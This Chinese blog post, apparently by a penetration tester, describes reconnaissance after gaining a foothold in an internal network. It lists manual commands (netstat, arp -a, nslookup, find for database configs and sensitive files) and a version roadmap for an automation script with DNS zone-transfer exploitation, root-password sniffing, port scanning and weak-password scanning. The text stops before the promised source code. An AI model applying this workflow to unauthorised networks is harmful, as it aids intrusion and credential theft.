渗透测试从互联网找到了入侵内网的入口点之后剩下的就内网渗透测试了。

　　有人说到了内网还不容易，随便拿个hscan一抓一大把弱口令。我同意这个看法，但是在我看来，内网环境复杂得多，要想精确获取自己想要的目标，要处理的内容要多得多，只有获得了必要的信息，才有的抓的目标，我认为一般内网环境中的渗透测试最难和最重要的是精确的信息收集，剩下的自然可以顺理成章的进行常规的漏洞扫描和利用。如果有一张详细的资产列表、网络规划图和对应的密码列表，就没必要渗透了，直接获取各种权限就得了，但这样的几率很小，但是也是可能的，只要时间允许，也可以做邮件监控、社工分析等，但这是另外一回事了。

　　在做内网渗透的时候，发现自己开始就是不停的敲命令：查看IP看看跳板是不是在内网环境中、ping8.8.8.8看看是否能外连、netstat看看内网连接的IP地址、查看hosts文件有没有hosts绑定信息、arp-a查看arp列表、traceroute查看路由可达性、nslookup查看dns解析、find命令查找数据库配置信息和敏感文件等等。这些其实都是很简单的操作，没什么技术含量，但是感觉每次测试都会花很多时间去处理，笔记弄得的很乱。所以现在决定自己弄个脚本自动跑跑，最后弄个统一输出文档，提高工作效率。敬请期待。

　　第一版写得比较烂，但基本能用，会逐渐改进

　　【v1功能如下：

　　1、获取主机信息+dns域传送漏洞利用+root口令嗅探(需要自己调用下代码)

　　2、获取内网网段收集+存活ip判断(多线程)+常用端口扫描(多线程)

　　bug : linux下的语法有些报错、linux下的ip存活判断有些问题

　　【v2更新计划：

　　1、修复v1存在的bug和编码问题

　　2、增加敏感文件和配置文件搜索功能

　　3、弱口令扫描功能

　　【v3更新计划：

　　1、修复v2bug

　　2、增加arp嗅探功能

　　3、报告输出+交互式美化

　　【v4更新计划：

　　1、修复v3bug

　　2、改进代码效率

　　下面是v1版本的源码,一个很长的类,本来输出内容是中文提示，后来发现在一些linux上是乱码，索性改成了英文：
